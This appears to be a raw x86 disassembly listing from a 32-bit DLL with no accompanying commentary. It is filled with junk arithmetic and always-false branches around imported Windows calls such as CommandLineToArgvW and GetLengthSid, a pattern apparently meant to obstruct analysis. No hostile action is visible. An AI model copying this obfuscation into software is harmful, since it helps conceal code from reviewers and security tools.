mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
cmp eax, 0x67120dd9
setle cl
xor eax, eax
sub ecx, 0x59512e2e
cmp edx, ecx
jl 0x10031bde
cmp dword [ebp - 0x670], eax
je 0x10031bde
mov eax, ebx
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x10031b72
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x10031b60
mov dword [ebp - 0x1c], eax
jmp 0x10031c0f
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031c0c
push eax
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
je 0x10031bf9
mov dword [ebp - 0x4c], 0x789328a
mov dword [ebp - 0x1c], 0xf89b546
mov dword [ebp - 0x20], 0x1cd43096
mov dword [ebp - 0x24], 0xd21462cc
mov eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x1c]
test eax, eax
je 0x10031c6b
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
ja 0x10031c65
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], 0xdc29bfbd
mov dword [ebp - 0x2c], 0x724202d9
cmp dword [ebp - 0x20], eax
je 0x10031c97
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
neg eax
je 0x10031c95
mov eax, ebx
jmp 0x10031c97
xor eax, eax
mov edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x1c]
add edx, eax
mov eax, dword [ebp - 0x1c]
sub edx, edi
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
setl cl
cmp ecx, 0xad2da0d3
sbb eax, eax
xor edx, edx
inc eax
imul eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
cmp eax, 0x7e41
setl dl
sub edx, 0x350d
neg edx
sbb edx, edx
inc edx
sub ecx, edx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
neg ecx
cmp ecx, 0x3098
setl al
xor ecx, ecx
cmp eax, 0xdec7
setg cl
xor eax, eax
imul ecx, dword [ebp - 0x14]
cmp ecx, 0x8055
setl al
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
test eax, eax
sets cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x24], 9
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10031d5f
push 8
pop ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x36c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10031d4a
xor eax, eax
mov dword [ebp - 0x36c], 0xfffffffd
jmp 0x10031d91
mov dword [ebp - 0x14], eax
jmp 0x10031d85
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031d82
push eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10031d70
inc dword [ebp - 0x36c]
cmp dword [ebp - 0x36c], 0x14
mov dword [ebp - 0x14], eax
jge 0x10031d6b
jmp 0x10031db0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1454], 0x1d2250db
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10031d9f
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x18], ebx
push 7
pop eax
mov dword [ebp - 0x24], eax
mov eax, 0x7017a68f
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x10031e33
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10031e03
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
dec eax
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x34]
cmp eax, 0x44653ffd
je 0x10031e2d
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x34]
cmp dword [ebp - 0x34], eax
jle 0x10031e63
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10031feb
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
jmp 0x10031feb
push 4
lea ecx, [ebp - 0x4ac]
call fcn.10016f54
mov dword [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10031ea4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4ac]
call fcn.10016fe2
mov dword [eax], 0x84cb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10031e85
xor eax, eax
mov dword [ebp - 0x18], 0x1b
jmp 0x10031fb4
cmp dword [ebp - 0x18], 0x34
je 0x10031eb0
inc dword [ebp - 0x4c]
lea ecx, [ebp - 0x1374]
movdqa xmm0, xmmword [0x10008210]
mov eax, 0xd8bc0d13
mov dword [ebp - 0x14], 0xba33
mov dword [ebp - 0x2c], 0x3bfa32a1
mov dword [ebp - 0x30], 0xfffffff7
mov dword [ebp - 0x30], 0xa13b2885
mov dword [ebp - 0x5c], 0xd70512a3
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x6a4], eax
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], eax
mov dword [ebp - 0x698], eax
lea eax, [ebp - 0x1158]
push eax
lea eax, [ebp - 0x1168]
push eax
movdqu xmmword [ebp - 0x1168], xmm0
call fcn.10016ff1
lea ecx, [ebp - 0x17e]
mov esi, eax
call fcn.10009273
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xa88]
push dword [esi]
call fcn.10016fb3
push 8
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0x155c]
movdqa xmm0, xmmword [0x10008260]
pop eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x10b8]
push eax
lea eax, [ebp - 0x10c8]
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x4c], 0x9ed994ad
push eax
movdqu xmmword [ebp - 0x10c8], xmm0
call fcn.10016ff1
lea ecx, [ebp - 0x1a5]
mov esi, eax
call fcn.10009273
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xe58]
push dword [esi]
call fcn.10016fb3
mov byte [ebp - 4], 0x11
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x69c]
cmp eax, 0x7e91c17b
mov eax, dword [ebp - 0x48]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x698]
setne dl
xor ecx, ecx
dec edx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], eax
jne 0x10032126
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0xa88]
mov eax, dword [ebp - 0x44]
xor esi, esi
inc dword [ebp - 0x44]
inc esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x698]
mov eax, dword [ebp - 0x5c]
push esi
call fcn.10016fe2
push 0xfffffffffffffff8
pop ecx
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0xa88]
setne bl
xor eax, eax
push eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp ecx, ebx
push 7
setle dl
pop ecx
add edx, ecx
xor ecx, ecx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x14]
setne cl
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0xe58]
push edi
setne bl
call fcn.10016fe2
xor edx, edx
mov dword [eax], ebx
mov eax, dword [ebp - 0x6a4]
sub ebx, eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
imul ecx, ebx
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0x36bb
setl al
mov dword [ebp - 0x20], eax
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x100321df